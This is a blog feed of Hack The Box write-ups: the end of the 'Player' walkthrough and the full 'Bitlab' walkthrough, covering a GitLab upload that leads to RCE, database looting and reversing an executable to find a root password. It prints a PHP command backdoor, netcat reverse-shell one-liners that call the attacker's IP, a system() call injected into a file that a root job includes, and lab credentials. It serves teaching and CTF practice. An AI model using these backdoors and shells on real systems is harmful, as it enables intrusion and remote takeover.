/favicon.ico (Status: 200)
/home (Status: 301)
/index.php (Status: 200)
/js (Status: 301)
/languages (Status: 301)
/lib (Status: 301)
/plugins (Status: 301)
/server-status (Status: 403)
/themes (Status: 301)
===============================================================
2020/01/17 20:19:49 Finished
===============================================================
[email protected]:~/Desktop/HTB/boxes/player# 

I wanted to see if that was related to /var/www/demo/home so I created a file called test.php that echoed test and I tried to access it through /home:



It worked so I edited my test file and added the php-simple-backdoor code and got a reverse shell:



[email protected]:~/Desktop/HTB/boxes/player# nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.xx.xx] from (UNKNOWN) [10.10.10.145] 56714
/bin/sh: 0: can't access tty; job control turned off
$ which python
/usr/bin/python
$ python -c "import pty;pty.spawn('/bin/bash')"
[email protected]:/var/www/demo/home$ ^Z
[1]+  Stopped                 nc -lvnp 1337
[email protected]:~/Desktop/HTB/boxes/player# stty raw -echo
[email protected]:~/Desktop/HTB/boxes/player# nc -lvnp 1337

[email protected]:/var/www/demo/home$ export TERM=screen
[email protected]:/var/www/demo/home$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[email protected]:/var/www/demo/home$ 

Root Flag

when I ran pspy to monitor the processes I noticed that /var/lib/playbuff/buff.php got executed as root periodically:

2020/01/18 05:25:02 CMD: UID=0    PID=3650   | /usr/bin/php /var/lib/playbuff/buff.php 

I couldn’t write to it but it included another php file which I could write to (/var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php):

www-data@player:/tmp$ cd /var/lib/playbuff/
www-data@player:/var/lib/playbuff$ cat buff.php 
<?php
include("/var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php");
class playBuff
{
        public $logFile="/var/log/playbuff/logs.txt";
        public $logData="Updated";

        public function __wakeup()
        {
                file_put_contents(__DIR__."/".$this->logFile,$this->logData);
        }
}
$buff = new playBuff();
$serialbuff = serialize($buff);
$data = file_get_contents("/var/lib/playbuff/merge.log");
if(unserialize($data))
{
        $update = file_get_contents("/var/lib/playbuff/logs.txt");
        $query = mysqli_query($conn, "update stats set status='$update' where id=1");
        if($query)
        {
                echo 'Update Success with serialized logs!';
        }
}
else
{
        file_put_contents("/var/lib/playbuff/merge.log","no issues yet");
        $update = file_get_contents("/var/lib/playbuff/logs.txt");
        $query = mysqli_query($conn, "update stats set status='$update' where id=1");
        if($query)
        {
                echo 'Update Success!';
        }
}
?>
[email protected]:/var/lib/playbuff$ 

I put my reverse shell payload in /tmp and added a line to /var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php that executed it:

[email protected]:/$ cat /var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php
<?php
$servername = "localhost";
$username = "root";
$password = "";
$dbname = "integrity";

system("bash -c /tmp/pwned.sh");

// Create connection
$conn = new mysqli($servername, $username, $password, $dbname);
// Check connection
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}
?>
[email protected]:/$ cat /tmp/pwned.sh 
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 1338 >/tmp/f
[email protected]:/$ 




And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Bitlab
Next Hack The Box write-up : Hack The Box - AI

✇ 0xRick

Hack The Box - Bitlab

By: 0xRick

Hack The Box - Bitlab

Quick Summary

Hey guys, today Bitlab retired and here’s my write-up about it. It was a nice CTF-style machine that mainly had a direct file upload and a simple reverse engineering challenge. It’s a Linux box and its ip is 10.10.10.114, I added it to /etc/hosts as bitlab.htb. Let’s jump right in !




Nmap

As always we will start with nmap to scan for open ports and services:

[email protected]:~/Desktop/HTB/boxes/bitlab# nmap -sV -sT -sC -o nmapinitial bitlab.htb 
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-10 13:44 EST
Nmap scan report for bitlab.htb (10.10.10.114)
Host is up (0.14s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 (RSA)
|   256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA)
|_  256 c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55 (ED25519)
80/tcp open  http    nginx
| http-robots.txt: 55 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile 
| /dashboard /projects/new /groups/new /groups/*/edit /users /help 
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://bitlab.htb/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.56 seconds
[email protected]:~/Desktop/HTB/boxes/bitlab# 

We got http on port 80 and ssh on port 22, robots.txt existed on the web server and it had a lot of entries.

Web Enumeration

Gitlab was running on the web server and we need credentials:


I checked /robots.txt to see if there was anything interesting:

[email protected]:~/Desktop/HTB/boxes/bitlab# curl http://bitlab.htb/robots.txt                                                                                                                                                             [18/43]
# See http://www.robotstxt.org/robotstxt.html for documentation on how to use the robots.txt file                                                                                                                                          
#                                                                                                                                                                                                                                          
# To ban all spiders from the entire site uncomment the next two lines:                                                                                                                                                                    
# User-Agent: *                                                                                                                                                                                                                            
# Disallow: /                                                                                                                                                                                                                              
                                                                                                                                                                                                                                           
# Add a 1 second delay between successive requests to the same server, limits resources used by crawler                                                                                                                                    
# Only some crawlers respect this setting, e.g. Googlebot does not                                                                                                                                                                         
# Crawl-delay: 1                                                                                                                                                                                                                           
                                                                                                                                                                                                                                           
# Based on details in https://gitlab.com/gitlab-org/gitlab-ce/blob/master/config/routes.rb, https://gitlab.com/gitlab-org/gitlab-ce/blob/master/spec/routing, and using application                                                        
User-Agent: *                                                                                                                                                                                                                              
Disallow: /autocomplete/users                                                                                                                                                                                                              
Disallow: /search                                                                                                                                                                                                                          
Disallow: /api                                                                                                                                                                                                                             
Disallow: /admin                                                                                                                                                                                                                           
Disallow: /profile                                                                                                                                                                                                                         
Disallow: /dashboard                                                                                                                                                                                                                       
Disallow: /projects/new
Disallow: /groups/new
Disallow: /groups/*/edit
Disallow: /users
Disallow: /help
# Only specifically allow the Sign In page to avoid very ugly search results
Allow: /users/sign_in

# Global snippets
User-Agent: *
Disallow: /s/
Disallow: /snippets/new
Disallow: /snippets/*/edit
Disallow: /snippets/*/raw

# Project details
User-Agent: *
Disallow: /*/*.git
Disallow: /*/*/fork/new
Disallow: /*/*/repository/archive*
Disallow: /*/*/activity
Disallow: /*/*/new
Disallow: /*/*/edit
Disallow: /*/*/raw
Disallow: /*/*/blame
Disallow: /*/*/commits/*/*
Disallow: /*/*/commit/*.patch
Disallow: /*/*/commit/*.diff
Disallow: /*/*/compare
Disallow: /*/*/branches/new
Disallow: /*/*/tags/new
Disallow: /*/*/network
Disallow: /*/*/graphs
Disallow: /*/*/milestones/new
Disallow: /*/*/milestones/*/edit
Disallow: /*/*/issues/new
Disallow: /*/*/issues/*/edit
Disallow: /*/*/merge_requests/new
Disallow: /*/*/merge_requests/*.patch
Disallow: /*/*/merge_requests/*.diff
Disallow: /*/*/merge_requests/*/edit
Disallow: /*/*/merge_requests/*/diffs
Disallow: /*/*/project_members/import
Disallow: /*/*/labels/new
Disallow: /*/*/labels/*/edit
Disallow: /*/*/wikis/*/edit
Disallow: /*/*/snippets/new
Disallow: /*/*/snippets/*/edit
Disallow: /*/*/snippets/*/raw
Disallow: /*/*/deploy_keys
Disallow: /*/*/hooks
Disallow: /*/*/services
Disallow: /*/*/protected_branches
Disallow: /*/*/uploads/
Disallow: /*/-/group_members
Disallow: /*/project_members
[email protected]:~/Desktop/HTB/boxes/bitlab#

Most of the disallowed entries were paths related to the Gitlab application. I checked /help and found a page called bookmarks.html:


There was an interesting link called Gitlab Login:


Clicking on that link didn’t result in anything, so I checked the source of the page, the href attribute had some javascript code:

        <DT><A HREF="javascript:(function(){ var _0x4b18=[&quot;\x76\x61\x6C\x75\x65&quot;,&quot;\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E&quot;,&quot;\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64&quot;,&quot;\x63\x6C\x61\x76\x65&quot;,&quot;\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64&quot;,&quot;\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78&quot;];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()" ADD_DATE="1554932142">Gitlab Login</A>

I took that code, edited it a little bit and used the js console to execute it:

root@kali:~/Desktop/HTB/boxes/bitlab# js
> var _0x4b18=['\x76\x61\x6C\x75\x65','\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E','\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64','\x63\x6C\x61\x76\x65','\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64','\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78'];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5];
Thrown:
ReferenceError: document is not defined
>

Then I printed the variable _0x4b18 which had the credentials for Gitlab:

> _0x4b18
[ 'value',
  'user_login',
  'getElementById',
  'clave',
  'user_password',
  '11des0081x' ]
> 

File Upload –> RCE –> Shell as www-data

After logging in with the credentials (clave : 11des0081x) I found two repositories, Profile and Deployer:



I also checked the snippets and I found an interesting code snippet that had the database credentials which will be useful later:



<?php
$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");
$result = pg_query($db_connection, "SELECT * FROM profiles");

Back to the repositories, I checked Profile and it was pretty empty:


The path /profile was one of the disallowed entries in /robots.txt, I wanted to check if that path was related to the repository, so I checked if the same image (developer.jpg) existed, and it did:



Now we can simply upload a php shell and access it through /profile, I uploaded the php-simple-backdoor:

<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->

<?php

if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}

?>

Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd

<!--    http://michaeldaw.org   2006    -->







Then I merged it to the master branch:





I used the netcat openbsd reverse shell payload from PayloadsAllTheThings to get a shell, had to urlencode it first:

rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.xx.xx%201337%20%3E%2Ftmp%2Ff
[email protected]:~/Desktop/HTB/boxes/bitlab# nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.xx.xx] from (UNKNOWN) [10.10.10.114] 44340
/bin/sh: 0: can't access tty; job control turned off
$ which python
/usr/bin/python
$ python -c "import pty;pty.spawn('/bin/bash')"
[email protected]:/var/www/html/profile$ ^Z
[1]+  Stopped                 nc -lvnp 1337
[email protected]:~/Desktop/HTB/boxes/bitlab# stty raw -echo
[email protected]:~/Desktop/HTB/boxes/bitlab# nc -lvnp 1337

[email protected]:/var/www/html/profile$ export TERM=screen
[email protected]:/var/www/html/profile$ 

Database Access –> Clave’s Password –> SSH as Clave –> User Flag

After getting a shell as www-data I wanted to use the credentials I got earlier from the code snippet and see what was in the database, however psql wasn’t installed:

[email protected]:/var/www/html/profile$ psql
bash: psql: command not found
[email protected]:/var/www/html/profile$ 

So I had to do it with php:

www-data@bitlab:/var/www/html/profile$ php -a
Interactive mode enabled

php > $connection = new PDO('pgsql:host=localhost;dbname=profiles', 'profiles', 'profiles');

I executed the same query from the code snippet which queried everything from the table profiles, and I got clave’s password which I could use to get ssh access:

php > $result = $connection->query("SELECT * FROM profiles");
php > $profiles = $result->fetchAll();
php > print_r($profiles);
Array
(
    [0] => Array
        (
            [id] => 1
            [0] => 1
            [username] => clave
            [1] => clave
            [password] => c3NoLXN0cjBuZy1wQHNz==
            [2] => c3NoLXN0cjBuZy1wQHNz==
        )

)
php > 




We owned user.

Reversing RemoteConnection.exe –> Root’s Password –> SSH as Root –> Root Flag

In the home directory of clave there was a Windows executable called RemoteConnection.exe:

[email protected]:~$ ls -la
total 44
drwxr-xr-x 4 clave clave  4096 Aug  8 14:40 .
drwxr-xr-x 3 root  root   4096 Feb 28  2019 ..
lrwxrwxrwx 1 root  root      9 Feb 28  2019 .bash_history -> /dev/null
-rw-r--r-- 1 clave clave  3771 Feb 28  2019 .bashrc
drwx------ 2 clave clave  4096 Aug  8 14:40 .cache
drwx------ 3 clave clave  4096 Aug  8 14:40 .gnupg
-rw-r--r-- 1 clave clave   807 Feb 28  2019 .profile
-r-------- 1 clave clave 13824 Jul 30 19:58 RemoteConnection.exe
-r-------- 1 clave clave    33 Feb 28  2019 user.txt
[email protected]:~$ 

I downloaded it on my box:

[email protected]:~/Desktop/HTB/boxes/bitlab# scp [email protected]:/home/clave/RemoteConnection.exe ./
[email protected]'s password: 
RemoteConnection.exe                                                                                                                                                                                     100%   14KB  16.5KB/s   00:00    
[email protected]:~/Desktop/HTB/boxes/bitlab#

Then I started looking at the code decompilation with Ghidra. One function that caught my attention was FUN_00401520():


/* WARNING: Could not reconcile some variable overlaps */

void FUN_00401520(void)

{
  LPCWSTR pWVar1;
  undefined4 ***pppuVar2;
  LPCWSTR lpParameters;
  undefined4 ***pppuVar3;
  int **in_FS_OFFSET;
  uint in_stack_ffffff44;
  undefined4 *puVar4;
  uint uStack132;
  undefined *local_74;
  undefined *local_70;
  wchar_t *local_6c;
  void *local_68 [4];
  undefined4 local_58;
  uint local_54;
  void *local_4c [4];
  undefined4 local_3c;
  uint local_38;
  undefined4 ***local_30 [4];
  int local_20;
  uint local_1c;
  uint local_14;
  int *local_10;
  undefined *puStack12;
  undefined4 local_8;
  
  local_8 = 0xffffffff;
  puStack12 = &LAB_004028e0;
  local_10 = *in_FS_OFFSET;
  uStack132 = DAT_00404018 ^ (uint)&stack0xfffffffc;
  *(int ***)in_FS_OFFSET = &local_10;
  local_6c = (wchar_t *)0x4;
  local_14 = uStack132;
  GetUserNameW((LPWSTR)0x4,(LPDWORD)&local_6c);
  local_38 = 0xf;
  local_3c = 0;
  local_4c[0] = (void *)((uint)local_4c[0] & 0xffffff00);
  FUN_004018f0();
  local_8 = 0;
  FUN_00401260(local_68,local_4c);
  local_74 = &stack0xffffff60;
  local_8._0_1_ = 1;
  FUN_004018f0();
  local_70 = &stack0xffffff44;
  local_8._0_1_ = 2;
  puVar4 = (undefined4 *)(in_stack_ffffff44 & 0xffffff00);
  FUN_00401710(local_68);
  local_8._0_1_ = 1;
  FUN_00401040(puVar4);
  local_8 = CONCAT31(local_8._1_3_,3);
  lpParameters = (LPCWSTR)FUN_00401e6d();
  pppuVar3 = local_30[0];
  if (local_1c < 0x10) {
    pppuVar3 = local_30;
  }
  pWVar1 = lpParameters;
  pppuVar2 = local_30[0];
  if (local_1c < 0x10) {
    pppuVar2 = local_30;
  }
  while (pppuVar2 != (undefined4 ***)(local_20 + (int)pppuVar3)) {
    *pWVar1 = (short)*(char *)pppuVar2;
    pWVar1 = pWVar1 + 1;
    pppuVar2 = (undefined4 ***)((int)pppuVar2 + 1);
  }
  lpParameters[local_20] = L'\0';
  if (local_6c == L"clave") {
    ShellExecuteW((HWND)0x0,L"open",L"C:\\Program Files\\PuTTY\\putty.exe",lpParameters,(LPCWSTR)0x0
                  ,10);
  }
  else {
    FUN_00401c20((int *)cout_exref);
  }
  if (0xf < local_1c) {
    operator_delete(local_30[0]);
  }
  local_1c = 0xf;
  local_20 = 0;
  local_30[0] = (undefined4 ***)((uint)local_30[0] & 0xffffff00);
  if (0xf < local_54) {
    operator_delete(local_68[0]);
  }
  local_54 = 0xf;
  local_58 = 0;
  local_68[0] = (void *)((uint)local_68[0] & 0xffffff00);
  if (0xf < local_38) {
    operator_delete(local_4c[0]);
  }
  *in_FS_OFFSET = local_10;
  FUN_00401e78();
  return;
}

It looked like it was checking if the name of the user running the program was clave, then It executed PuTTY with some parameters that I couldn’t see:

if (local_6c == L"clave") {
    ShellExecuteW((HWND)0x0,L"open",L"C:\\Program Files\\PuTTY\\putty.exe",lpParameters,(LPCWSTR)0x0
                  ,10);
  }

This is how the same part looked like in IDA:


I copied the executable to a Windows machine and I tried to run it, however it just kept crashing.
I opened it in immunity debugger to find out what was happening, and I found an access violation:


It happened before reaching the function I’m interested in so I had to fix it. What I did was simply replacing the instructions that caused that access violation with NOPs.
I had to set a breakpoint before the cmp instruction, so I searched for the word “clave” in the referenced text strings and I followed it in the disassembler:




Then I executed the program and whenever I hit an access violation I replaced the instructions with NOPs, it happened twice then I reached my breakpoint:




After reaching the breakpoint I could see the parameters that the program gives to putty.exe in both eax and ebx, It was starting an ssh session as root and I could see the password:


EAX 00993E80 UNICODE "-ssh [email protected] -pw "Qf7]8YSV.wDNF*[7d?j&eD4^""
EBX 00993DA0 ASCII "-ssh [email protected] -pw "Qf7]8YSV.wDNF*[7d?j&eD4^""




And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Craft
Next Hack The Box write-up : Hack The Box - Player

❌